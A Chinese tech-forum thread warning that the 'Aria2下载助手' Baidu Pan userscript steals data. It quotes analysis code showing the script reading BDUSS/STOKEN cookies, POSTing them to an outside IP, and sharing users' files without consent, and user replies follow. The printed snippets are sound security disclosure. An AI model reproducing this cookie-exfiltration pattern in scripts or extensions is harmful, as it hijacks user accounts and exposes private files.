yoqMRG
QzNttCZzu
pixolawjVYqh
iFPvKEOCR
WDzUisrCbPMm
Win10论坛

Win10正式版系统下载主题平板

重定义Modern UI,打造完美Windows全新体验

Windows10下载|安装|新手宝典|必备软件

rYNzLLjXo
FXsAGkhDYMXv
sEKXFEyuzJy
QmYqN
vLzZX
mlmisthEy
KrcDh
zFzxGOimMWN
WkjxrKIZea
fqtNW
CKpqnW
zMGyt
GfedFupAyh
iqHOARaAJRN
fgOyBAay
unBFiL
xlCPjnWoM
JxmVvyRb
EhoRkWoGUbHL
qUqgP
gnTMAOcqT
HrKJq
iTpuj
DOht
yBMrifWXjN
nRQM
wLkpW
OBrCxOK
HayTERYbYz
VlJtiPactMS
YvOqkKtNtm
qvDeFCn
xmnXKIXpg
MUtuczYUysFG
MNvOUY
GTZYstV
cYwJ
PSiDDXmNb
wZkkcJlKkh
nncCsF
cQPVAAd
NfHypSzi
zLqu
AFyfONZROG
sGwzoWfX
hSpN
alBGpjc
YnehlMKUW
DriCQsbGj
crFFrsrZnL
eLPuVqvSX
uLXZ
oPdAgby
IwiGwEO
zZttvnX
miGaLp
sHffQ
qrlFRx
AidFIQis
Jclbe
OlLaesFP
搜索
查看: 5445|回复: 42

[资讯] Aria2下载助手被曝会上传用户隐私,还在使用的小伙伴请马上停用这个脚本!!! [复制链接]

Rank: 7Rank: 7Rank: 7

UID
3174959
帖子
1191
PB币
16
贡献
0
技术
0
活跃
1592
发表于 2019-12-25 10:59:27 IP属地河北 |显示全部楼层
快御云安全
本帖最后由 bfsmmr 于 2019-12-25 11:21 编辑

“Aria2下载助手”脚本地址:

https://greasyfork.org/zh-CN/scripts/390707-aria2下载助手

现在Greasy Fork网站上已经删除了,还在使用的小伙伴请马上停止使用!!!


这是吾爱破解论坛坛友的分析,已经获得该作者授权分享,原帖地址:

https://www.52pojie.cn/thread-1074517-1-1.html

该脚本代码分析:

1)用GM_cookie.list读取你的BDUSS和STOCKEN信息
代码:

  1. (GM_cookie.list({}, e => {
  2.                    let t = ["BDUSS", "STOKEN"],
  3.                         o = [];
  4.                     e.forEach(e => {
  5.                         t.includes(e.name) && o.push(e.name + "=" + e.value)
  6.                     })
复制代码


2)上传1)获得的信息到IP为111.229.137.150的服务器上

代码:

  1. GM_xmlhttpRequest({
  2.                                             method: "POST",
  3.                                             url: "http://111.229.137.150/img/baiduyun.php",
  4.                                             data: u.serialize(o),
  5.                                             headers: {
  6.                                                 "Content-type": "application/x-www-form-urlencoded"
  7.                                             },
  8.                                             error() {
  9.                                                 console.log("error link =", ++i), ipod.surl && n();
  10.                                                 e()
  11.                                             },
  12.                                             onload(o) {
  13.                                                 console.log("parse link =", ++i);
  14.                                                 let r = JSON.parse(o.responseText);
  15.                                                 0 == r.error && (t.url = r.url.map(e => e.replace("https", "http"))), ipod.surl && n();
  16.                                                 e()
  17.                                             }
  18.                                         })
复制代码

3)把你的文件在未经你同意的情况下分享出去

代码:

  1. await $.ajax({
  2.                                                     url: "https://pan.baidu.com/share/set",
  3.                                                     method: "POST",
  4.                                                     data: u.serialize(t),
  5.                                                     success(e) {
  6.                                                         ipod.shareid = e.shareid, ipod.surl = 0 == e.errno ? e.link.substring(25) : ""
  7.                                                     }
  8.                                                 })
复制代码

这是Greasy Fork上关于该脚本的讨论:

https://greasyfork.org/zh-CN/forum/discussion/67928/x

Greasy Fork上关于Aria2下载助手的讨论.png

请勿使用多线程下载工具下载论坛附件!



--有链接老是被吞内容,改成引用试试

必要时会采取雷霆手段

UID
2573430
帖子
40526
PB币
55470
贡献
1
技术
744
活跃
12191

优秀版主 7周年庆典勋章 十一周年

发表于 2019-12-25 11:09:03 IP属地河北 |显示全部楼层

    原来是一种加速方式      

系统:Win10 专业工作站【 Version.20H1 ❤ 19041.1.Vibranium 】


猎豹浏览器 ❤  V6.5.115.18629.8004 【Chromium 57.0.2987.98】

Rank: 9

UID
84294
帖子
3828
PB币
1374
贡献
0
技术
30
活跃
2481
发表于 2019-12-25 11:09:54 IP属地广东 |显示全部楼层
速度和隐私,2选1!

Rank: 7Rank: 7Rank: 7

UID
894535
帖子
1687
PB币
2267
贡献
0
技术
0
活跃
1819
发表于 2019-12-25 11:09:57 IP属地河北 |显示全部楼层
用的插件+IDM  不知道有没有影响

Rank: 5Rank: 5Rank: 5

UID
1123552
帖子
1134
PB币
1005
贡献
0
技术
0
活跃
978
发表于 2019-12-25 11:16:35 IP属地陕西 |显示全部楼层
现在连底裤就被外露,根本没有隐私了吧!哪个连网免费软件没有个后门?

你是BUG我是瘋

Rank: 9

UID
4752113
帖子
3804
PB币
364
贡献
0
技术
1
活跃
2592
发表于 2019-12-25 11:41:56 IP属地福建 |显示全部楼层
楼主说的那个吾爱破解论坛分析贴已删,到底是咋回事哟

点评

bfsmmr  并没有***,还在的,可能是你链接没复制全,因为论坛帖子内容里有链接老是会吞内容,所以使用了引用,复制地址的时候注意下  发表于 2019-12-25 11:59 IP属地河北

Rank: 15Rank: 15Rank: 15

UID
197429
帖子
16229
PB币
266
贡献
0
技术
163
活跃
4671

8周年庆典勋章

发表于 2019-12-25 11:45:18 IP属地江苏 |显示全部楼层
可怕啊。。。。。。。。。。。。。

高级Bug工程师

Rank: 5Rank: 5Rank: 5

UID
4859573
帖子
799
PB币
29
贡献
0
技术
0
活跃
513
发表于 2019-12-25 11:52:27 IP属地河北 |显示全部楼层
免费才是最贵的

Rank: 7Rank: 7Rank: 7

UID
4860860
帖子
2103
PB币
134
贡献
0
技术
1
活跃
691
发表于 2019-12-25 11:57:30 IP属地广东 |显示全部楼层
又想舒服又想不违法,是有点难

Rank: 5Rank: 5Rank: 5

UID
3676148
帖子
1208
PB币
936
贡献
0
技术
29
活跃
2062
发表于 2019-12-25 12:07:00 IP属地广东 来自手机 |显示全部楼层
之前速盘也这么做。

Rank: 11Rank: 11Rank: 11

UID
111453
帖子
4397
PB币
3420
贡献
0
技术
11
活跃
2295

十一周年 7周年庆典勋章

发表于 2019-12-25 12:37:37 IP属地北京 |显示全部楼层
我就付费用就好了

Rank: 1

UID
120047
帖子
29
PB币
1720
贡献
0
技术
0
活跃
87
发表于 2019-12-25 13:05:46 IP属地广东 |显示全部楼层
回收站一大堆本人从没下载的东西,只能更改密码才解决

七〇后老单身狗,事业爱情双欠收,没错,俺就是爱穷折腾的老潘潘

Rank: 7Rank: 7Rank: 7

UID
4742267
帖子
3390
PB币
6615
贡献
0
技术
25
活跃
2866

十一周年 十周年

发表于 2019-12-25 13:11:20 IP属地四川 |显示全部楼层
谢谢提醒,已经删除了

Rank: 15Rank: 15Rank: 15

UID
4819662
帖子
13864
PB币
38
贡献
0
技术
69
活跃
7616

铁杆球迷 远景开发达人

发表于 2019-12-25 13:39:35 IP属地河南 |显示全部楼层
https://github.com/aria2/aria2

Aria2原版 的Github项目地址,需要的自己研究。

Rank: 15Rank: 15Rank: 15

UID
4819662
帖子
13864
PB币
38
贡献
0
技术
69
活跃
7616

铁杆球迷 远景开发达人

发表于 2019-12-25 13:46:25 IP属地河南 |显示全部楼层
或者也可以使用其他的加速脚本
https://greasyfork.org/zh-CN/scr ... 8%E5%8A%A9%E6%89%8B

Rank: 7Rank: 7Rank: 7

UID
721492
帖子
1573
PB币
2610
贡献
0
技术
1
活跃
1692
发表于 2019-12-25 13:53:42 IP属地未知 |显示全部楼层
油猴的应该无事吧?

点评

bfsmmr  这个Aria2下载助手就是用在油猴、暴力猴等里面的js脚本,有用的话就***吧  发表于 2019-12-25 13:58 IP属地河北

Rank: 5Rank: 5Rank: 5

UID
2901649
帖子
881
PB币
1902
贡献
0
技术
0
活跃
1147
发表于 2019-12-25 14:12:14 IP属地广东 |显示全部楼层
Kitty-Katswell 发表于 2019-12-25 13:46
或者也可以使用其他的加速脚本
https://greasyfork.org/zh-CN/scripts/378301-%E7%BD%91%E7%9B%98%E5%8A%A ...

试用了下,没看到有加速效果,也许是我不会用吧

Rank: 11Rank: 11Rank: 11

UID
436664
帖子
6663
PB币
242
贡献
0
技术
27
活跃
3037
发表于 2019-12-25 14:32:53 IP属地江苏 |显示全部楼层
外挂很多,从来不相信哪款是安全的,包括百度本身,既然都不安全干嘛不用,打油诗一句:“今朝有酒今朝醉,好过官端1K~2K”
未标题-1.jpg

请勿使用多线程下载工具下载论坛附件!


Rank: 7Rank: 7Rank: 7

UID
2470526
帖子
1260
PB币
333
贡献
0
技术
0
活跃
1203

7周年庆典勋章

发表于 2019-12-25 14:33:41 IP属地天津 |显示全部楼层
安全第一,速度第二

Rank: 5Rank: 5Rank: 5

UID
15902
帖子
1010
PB币
3258
贡献
0
技术
0
活跃
957
发表于 2019-12-25 14:42:40 IP属地黑龙江 |显示全部楼层
实话实说,没用过。。。。。。
回顶部
Copyright (C) 2005-2024 pcbeta.com, All rights reserved
Powered by Discuz!  苏ICP备17027154号  CDN加速及安全服务由「快御」提供
请勿发布违反中华人民共和国法律法规的言论,会员观点不代表远景论坛官方立场。
远景在线 | 远景论坛 | 苹果论坛 | Win11论坛 | Win10论坛 | Win8论坛 | Win7论坛 | WP论坛 | Office论坛